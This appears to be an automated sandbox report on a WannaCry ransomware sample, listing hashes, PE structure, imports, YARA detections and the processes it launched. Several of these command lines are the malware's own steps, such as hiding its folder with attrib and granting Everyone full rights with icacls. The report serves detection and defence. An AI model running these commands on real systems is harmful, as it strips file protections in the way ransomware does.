                                                                                                      Preview:MSCF............D...............#................A..........d........B..............environment.cab.x.\&..BCK.\.T...N.....;LB.JW.. .w!....$*...U....."........ (.. E..........w...e.Jf.3gN.{...{V.M4.!.....hn. p(... .a...f..f..j.....Kh5..l.DB\}.=.0.>..X.....z..,'..LC/>....h.>.>.........,~mVI.....'EGD]^..\{....Q....f...4.F.....q..FF.1~...Q,.."g.qq.......}.....g%Zz.;m.9..z../2Jl.p8wGO......-V....FM......y*.....Hy.xy......N.r;.@uV........Xa...b].`..F...y.Wd.e.8.[Z.s7].....=B.$...'.|.-.sC....a_(..$..i.C.T.F}...]...m.R,y.1...'..j3.....ir..B..)sR.G.*..`-=.w....m..2y.....*o...\{..C.4.:ZM..wL-$.I.x:?.!.....:..W.%&.....J.%.....~....E..T.d.Q{..p..J..pY...P../.."rp....`...#w.....'.|n%Dy,.....i....."..x.....b._..\_.^.XOo..*:.&a.`..qA.?.@..t.R/...X3.nF.&........1Z.r.S...9x........?..aP..A...f..k:..\....L...t....Q...1..A..33A1.t..)...c....;......$.$..>._....A.!g`..t...b.H.L..&.....!......v~.n...uE.x...."5.h.4..B.R.d.4.%--.`.B..."..[....l......x(..5......@.zr....

                                                                                                      C:\Windows\SoftwareDistribution\SLS\E7A50285-D08D-499D-9FF8-180FDC2332BC\TMP8333.tmp

                                                                                                      Download File
                                                                                                      Process:C:\Windows\System32\SIHClient.exe
                                                                                                      File Type:Microsoft Cabinet archive data, single, 858 bytes, 1 file, at 0x44 +Utf "environment.xml", flags 0x4, ID 12183, number 1, extra bytes 20 in head, 1 datablock, 0x1 compression
                                                                                                      Category:dropped
                                                                                                      Size (bytes):19826
                                                                                                      Entropy (8bit):7.454351722487538
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:3j+naF6zsHqnltHNsAR9zCfsOCUPTNbZR9zOzD8K:z1F6JLts89zIdrFT9zwoK
                                                                                                      MD5:455385A0D5098033A4C17F7B85593E6A
                                                                                                      SHA1:E94CC93C84E9A3A99CAD3C2BD01BFD8829A3BCD6
                                                                                                      SHA-256:2798430E34DF443265228B6F510FC0CFAC333100194289ED0488D1D62C5367A7
                                                                                                      SHA-512:104FA2DAD10520D46EB537786868515683752665757824068383DC4B9C03121B79D9F519D8842878DB02C9630D1DFE2BBC6E4D7B08AFC820E813C250B735621A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:MSCF....Z.......D................/..........Z....J..........d.......................environment.xml........CK....8.....w..=.9%T`.eu:.jn.E.8......m_.o?...5.K.{.3X3....^.{i..b......{.+.....y:..KW;;\..n.K=.]k..{.=..3......D$.&IQH.$-..8.r.{..HP.........g....^..~......e.f2^..N.`.B..o.t....z..3..[#..{S.m..w....<M...j..6.k.K.....~.SP.mx..;N.5..~\.[.!gP...9r@"82"%.B%..<2.c....vO..hB.Fi....{...;.}..f|..g.7..6..].7B..O..#d..]Ls.k..Le...2.*..&I.Q.,....0.\.-.#..L%.Z.G..K.tU.n...J..TM....4....~...:..2.X..p.d....&.Bj.P(.."..).s.d....W.=n8...n...rr..O._.yu...R..$....[...=H"K<.`.e...d.1.3.gk....M..<R......%1BX.[......X.....q......:...3..w....QN7. .qF..A......Q.p...*G...JtL...8sr.s.eQ.zD.u...s.....tjj.G.....Fo...f`Bb<.]k..e.b..,.....*.1.:-....K.......M..;....(,.W.V(^_.....9.,`|...9...>..R...2|.|5.r....n.y>wwU..5...0.J...*.H........J.0.I....1.0...`.H.e......0....+.....7......0..0V..+.....7....H.......$f.....`..41200..+.....7...1". ...>^..~a..e.D.V.C...

                                                                                                      C:\Windows\SoftwareDistribution\SLS\E7A50285-D08D-499D-9FF8-180FDC2332BC\sls.cab

                                                                                                      Download File
                                                                                                      Process:C:\Windows\System32\SIHClient.exe
                                                                                                      File Type:Microsoft Cabinet archive data, single, 11149 bytes, 1 file, at 0x44 +Utf "environment.cab", flags 0x4, ID 18779, number 1, extra bytes 20 in head, 1 datablock, 0x1 compression
                                                                                                      Category:dropped
                                                                                                      Size (bytes):30005
                                                                                                      Entropy (8bit):7.7369400192915085
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:768:ouCAyCeQ8fkZdfTGo/its89z8gjP69zA4:Aqf56z8HzT
                                                                                                      MD5:4D7FE667BCB647FE9F2DA6FC8B95BDAE
                                                                                                      SHA1:B4B20C75C9AC2AD00D131E387BCB839F6FAAABCA
                                                                                                      SHA-256:BE273EA75322249FBF58C9CAD3C8DA5A70811837EF9064733E4F5FF1969D4078
                                                                                                      SHA-512:DDB8569A5A5F9AD3CCB990B0A723B64CEE4D49FA6515A8E5C029C1B9E2801F59259A0FC401E27372C133952E4C4840521419EF75895260FA22DFF91E0BE09C02
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:MSCF.....+......D...............[I...........+...I..........d.......rM..............environment.cab...Q.!+rMCK.|.XT....CI7.....AR..$..C$D....RA:....T..........o...g...>.....s....z...>..<...J.R.A......%}..... 0............\...e.z...@..{..,./.:9:X8.s^q...>.(]...I)....'..v@....!.(.i.n.!.g.8\/.+X3.E.~.pi...Q...B...."Oj..~.:....M....uB.}..v.WR........tDD......D7..j..`..5..E.2.z..C....4.s....r..Y.:.|.mtg...S..b._.....!.~Kn..E.=...x.N..e.)....xz...p..h.;..xR'...U.}........nK.+.Y........p..r _.;?.m}$..*%&...8. 7..T....,7..F...e...kI.y...q....".W.W..[..gZQ.....W.$k.T"...N.*...5.R...,+...u.~VO...R-......H7..9........].K....]....tS~*.LSi....T....3+........k......i.J.y...,.Y|.N.t.LX.....zu..8......S*7..{y.m.....Ob.....^.S8Kn.i.._.c~.x.ce.A...t........S.......i1......V..S]H....$..J....E..j...4...o.$..).....;.n<.b.}.(.J.]...Q..u,.-.Bm.[z.j..-i.."...._v.......N..+...g..v..../...;G.Yw....0..u...z....J..K.E..s&..u.h3.]J.G............Z....=.N.X..

                                                                                                      Static File Info

                                                                                                      General

                                                                                                      File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                      Entropy (8bit):7.995470941164686
                                                                                                      TrID:
                                                                                                      • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                      • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                      • DOS Executable Generic (2002/1) 0.02%
                                                                                                      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                      File name:WannaCry_2.EXE
                                                                                                      File size:3'514'368 bytes
                                                                                                      MD5:84c82835a5d21bbcf75a61706d8ab549
                                                                                                      SHA1:5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
                                                                                                      SHA256:ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
                                                                                                      SHA512:90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244
                                                                                                      SSDEEP:98304:QqPoBhz1aRxcSUDk36SAEdhvxWa9P593R8yAVp2g3x:QqPe1Cxcxk3ZAEUadzR8yc4gB
                                                                                                      TLSH:73F533F4E221B7ACF2550EF64855C59B6A9724B2EBEF1E26DA8001A70D44F7F8FC0491
                                                                                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:...T...T...T...X...T..._...T.'.Z...T...^...T...P...T.g.....T...U...T..._...T.c.R...T.Rich..T.........................PE..L..

                                                                                                      File Icon

                                                                                                      Icon Hash:90cececece8e8eb0

                                                                                                      Static PE Info

                                                                                                      General

                                                                                                      Entrypoint:0x4077ba
                                                                                                      Entrypoint Section:.text
                                                                                                      Digitally signed:false
                                                                                                      Imagebase:0x400000
                                                                                                      Subsystem:windows gui
                                                                                                      Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                                                      DLL Characteristics:
                                                                                                      Time Stamp:0x4CE78F41 [Sat Nov 20 09:05:05 2010 UTC]
                                                                                                      TLS Callbacks:
                                                                                                      CLR (.Net) Version:
                                                                                                      OS Version Major:4
                                                                                                      OS Version Minor:0
                                                                                                      File Version Major:4
                                                                                                      File Version Minor:0
                                                                                                      Subsystem Version Major:4
                                                                                                      Subsystem Version Minor:0
                                                                                                      Import Hash:68f013d7437aa653a8a98a05807afeb1

                                                                                                      Entrypoint Preview

                                                                                                      Instruction
                                                                                                      push ebp
                                                                                                      mov ebp, esp
                                                                                                      push FFFFFFFFh
                                                                                                      push 0040D488h
                                                                                                      push 004076F4h
                                                                                                      mov eax, dword ptr fs:[00000000h]
                                                                                                      push eax
                                                                                                      mov dword ptr fs:[00000000h], esp
                                                                                                      sub esp, 68h
                                                                                                      push ebx
                                                                                                      push esi
                                                                                                      push edi
                                                                                                      mov dword ptr [ebp-18h], esp
                                                                                                      xor ebx, ebx
                                                                                                      mov dword ptr [ebp-04h], ebx
                                                                                                      push 00000002h
                                                                                                      call dword ptr [004081C4h]
                                                                                                      pop ecx
                                                                                                      or dword ptr [0040F94Ch], FFFFFFFFh
                                                                                                      or dword ptr [0040F950h], FFFFFFFFh
                                                                                                      call dword ptr [004081C0h]
                                                                                                      mov ecx, dword ptr [0040F948h]
                                                                                                      mov dword ptr [eax], ecx
                                                                                                      call dword ptr [004081BCh]
                                                                                                      mov ecx, dword ptr [0040F944h]
                                                                                                      mov dword ptr [eax], ecx
                                                                                                      mov eax, dword ptr [004081B8h]
                                                                                                      mov eax, dword ptr [eax]
                                                                                                      mov dword ptr [0040F954h], eax
                                                                                                      call 00007FC84852708Bh
                                                                                                      cmp dword ptr [0040F870h], ebx
                                                                                                      jne 00007FC848526F7Eh
                                                                                                      push 0040793Ch
                                                                                                      call dword ptr [004081B4h]
                                                                                                      pop ecx
                                                                                                      call 00007FC84852705Dh
                                                                                                      push 0040E00Ch
                                                                                                      push 0040E008h
                                                                                                      call 00007FC848527048h
                                                                                                      mov eax, dword ptr [0040F940h]
                                                                                                      mov dword ptr [ebp-6Ch], eax
                                                                                                      lea eax, dword ptr [ebp-6Ch]
                                                                                                      push eax
                                                                                                      push dword ptr [0040F93Ch]
                                                                                                      lea eax, dword ptr [ebp-64h]
                                                                                                      push eax
                                                                                                      lea eax, dword ptr [ebp-70h]
                                                                                                      push eax
                                                                                                      lea eax, dword ptr [ebp-60h]
                                                                                                      push eax
                                                                                                      call dword ptr [004081ACh]
                                                                                                      push 0040E004h
                                                                                                      push 0040E000h
                                                                                                      call 00007FC848527015h

                                                                                                      Rich Headers

                                                                                                      Programming Language:
                                                                                                      • [C++] VS98 (6.0) SP6 build 8804
                                                                                                      • [EXP] VC++ 6.0 SP5 build 8804

                                                                                                      Data Directories

                                                                                                      NameVirtual AddressVirtual Size Is in Section
                                                                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0xd5a80x64.rdata
                                                                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0x100000x349fa0.rsrc
                                                                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_IAT0x80000x1d8.rdata
                                                                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                      Sections

                                                                                                      NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                      .text0x10000x69b00x7000920e964050a1a5dd60dd00083fd541a2False0.5747419084821429data6.404235106100747IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                      .rdata0x80000x5f700x60002c42611802d585e6eed68595876d1a15False0.5781656901041666data6.66357096840794IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                      .data0xe0000x19580x200083506e37bd8b50cacabd480f8eb3849bFalse0.394287109375Matlab v4 mat-file (little endian) ry, numeric, rows 0, columns 04.4557495078691405IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                      .rsrc0x100000x349fa00x34a000f99ce7dc94308f0a149a19e022e4c316unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                      Resources

                                                                                                      NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                      XIA0x100f00x349635Zip archive data, at least v2.0 to extract, compression method=deflateEnglishUnited States1.0002689361572266
                                                                                                      RT_VERSION0x3597280x388dataEnglishUnited States0.46349557522123896
                                                                                                      RT_MANIFEST0x359ab00x4efexported SGML document, ASCII text, with CRLF line terminatorsEnglishUnited States0.42913697545526525

                                                                                                      Imports

                                                                                                      DLLImport
                                                                                                      KERNEL32.dllGetFileAttributesW, GetFileSizeEx, CreateFileA, InitializeCriticalSection, DeleteCriticalSection, ReadFile, GetFileSize, WriteFile, LeaveCriticalSection, EnterCriticalSection, SetFileAttributesW, SetCurrentDirectoryW, CreateDirectoryW, GetTempPathW, GetWindowsDirectoryW, GetFileAttributesA, SizeofResource, LockResource, LoadResource, MultiByteToWideChar, Sleep, OpenMutexA, GetFullPathNameA, CopyFileA, GetModuleFileNameA, VirtualAlloc, VirtualFree, FreeLibrary, HeapAlloc, GetProcessHeap, GetModuleHandleA, SetLastError, VirtualProtect, IsBadReadPtr, HeapFree, SystemTimeToFileTime, LocalFileTimeToFileTime, CreateDirectoryA, GetStartupInfoA, SetFilePointer, SetFileTime, GetComputerNameW, GetCurrentDirectoryA, SetCurrentDirectoryA, GlobalAlloc, LoadLibraryA, GetProcAddress, GlobalFree, CreateProcessA, CloseHandle, WaitForSingleObject, TerminateProcess, GetExitCodeProcess, FindResourceA
                                                                                                      USER32.dllwsprintfA
                                                                                                      ADVAPI32.dllCreateServiceA, OpenServiceA, StartServiceA, CloseServiceHandle, CryptReleaseContext, RegCreateKeyW, RegSetValueExA, RegQueryValueExA, RegCloseKey, OpenSCManagerA
                                                                                                      MSVCRT.dllrealloc, fclose, fwrite, fread, fopen, sprintf, rand, srand, strcpy, memset, strlen, wcscat, wcslen, __CxxFrameHandler, ??3@YAXPAX@Z, memcmp, _except_handler3, _local_unwind2, wcsrchr, swprintf, ??2@YAPAXI@Z, memcpy, strcmp, strrchr, __p___argv, __p___argc, _stricmp, free, malloc, ??0exception@@QAE@ABV0@@Z, ??1exception@@UAE@XZ, ??0exception@@QAE@ABQBD@Z, _CxxThrowException, calloc, strcat, _mbsstr, ??1type_info@@UAE@XZ, _exit, _XcptFilter, exit, _acmdln, __getmainargs, _initterm, __setusermatherr, _adjust_fdiv, __p__commode, __p__fmode, __set_app_type, _controlfp

                                                                                                      Possible Origin

                                                                                                      Language of compilation systemCountry where language is spokenMap
                                                                                                      EnglishUnited States

                                                                                                      Network Behavior

                                                                                                      ⊘No network behavior found

                                                                                                      Statistics

                                                                                                      CPU Usage

                                                                                                      Click to jump to process

                                                                                                      Memory Usage

                                                                                                      Click to jump to process

                                                                                                      High Level Behavior Distribution

                                                                                                      Click to dive into process behavior distribution

                                                                                                      Behavior

                                                                                                      Click to jump to process

                                                                                                      System Behavior

                                                                                                      General

                                                                                                      Target ID:0
                                                                                                      Start time:03:28:23
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:"C:\Users\user\Desktop\WannaCry_2.EXE"
                                                                                                      Imagebase:0x400000
                                                                                                      File size:3'514'368 bytes
                                                                                                      MD5 hash:84C82835A5D21BBCF75A61706D8AB549
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Yara matches:
                                                                                                      • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000000.00000000.1123120496.000000000040E000.00000008.00000001.01000000.00000003.sdmp, Author: us-cert code analysis team
                                                                                                      • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000000.00000002.2384451558.000000000040F000.00000004.00000001.01000000.00000003.sdmp, Author: us-cert code analysis team
                                                                                                      • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000000.00000003.1411691066.0000000000A63000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000000.00000003.1140110778.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      Reputation:moderate
                                                                                                      Has exited:false

                                                                                                      General

                                                                                                      Target ID:1
                                                                                                      Start time:03:28:23
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Windows\System32\dllhost.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                      Imagebase:0x7ff6e9610000
                                                                                                      File size:21'312 bytes
                                                                                                      MD5 hash:08EB78E5BE019DF044C26B14703BD1FA
                                                                                                      Has elevated privileges:false
                                                                                                      Has administrator privileges:false
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Reputation:moderate
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:2
                                                                                                      Start time:03:28:23
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Windows\SysWOW64\attrib.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:attrib +h .
                                                                                                      Imagebase:0x1000000
                                                                                                      File size:19'456 bytes
                                                                                                      MD5 hash:0E938DD280E83B1596EC6AA48729C2B0
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Reputation:moderate
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:3
                                                                                                      Start time:03:28:23
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Windows\SysWOW64\icacls.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:icacls . /grant Everyone:F /T /C /Q
                                                                                                      Imagebase:0xf00000
                                                                                                      File size:29'696 bytes
                                                                                                      MD5 hash:2E49585E4E08565F52090B144062F97E
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Reputation:high
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:4
                                                                                                      Start time:03:28:23
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                      Imagebase:0x7ff6684c0000
                                                                                                      File size:862'208 bytes
                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Reputation:high
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:5
                                                                                                      Start time:03:28:23
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                      Imagebase:0x7ff6684c0000
                                                                                                      File size:862'208 bytes
                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Reputation:high
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:6
                                                                                                      Start time:03:28:24
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Antivirus matches:
                                                                                                      • Detection: 96%, ReversingLabs
                                                                                                      • Detection: 88%, Virustotal, Browse
                                                                                                      Reputation:moderate
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:7
                                                                                                      Start time:03:28:25
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Reputation:moderate
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:8
                                                                                                      Start time:03:28:25
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:C:\Windows\system32\cmd.exe /c 133611722583794.bat
                                                                                                      Imagebase:0xf20000
                                                                                                      File size:236'544 bytes
                                                                                                      MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Reputation:high
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:9
                                                                                                      Start time:03:28:25
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                      Imagebase:0x7ff6684c0000
                                                                                                      File size:862'208 bytes
                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Reputation:high
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:10
                                                                                                      Start time:03:28:25
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Windows\SysWOW64\cscript.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:cscript.exe //nologo m.vbs
                                                                                                      Imagebase:0xf10000
                                                                                                      File size:144'896 bytes
                                                                                                      MD5 hash:CB601B41D4C8074BE8A84AED564A94DC
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Reputation:moderate
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:11
                                                                                                      Start time:03:28:25
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Reputation:moderate
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:12
                                                                                                      Start time:03:28:25
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:13
                                                                                                      Start time:03:28:25
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:14
                                                                                                      Start time:03:28:26
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:15
                                                                                                      Start time:03:28:26
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:16
                                                                                                      Start time:03:28:26
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:17
                                                                                                      Start time:03:28:26
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:18
                                                                                                      Start time:03:28:26
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:19
                                                                                                      Start time:03:28:27
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:20
                                                                                                      Start time:03:28:27
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:21
                                                                                                      Start time:03:28:27
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:22
                                                                                                      Start time:03:28:27
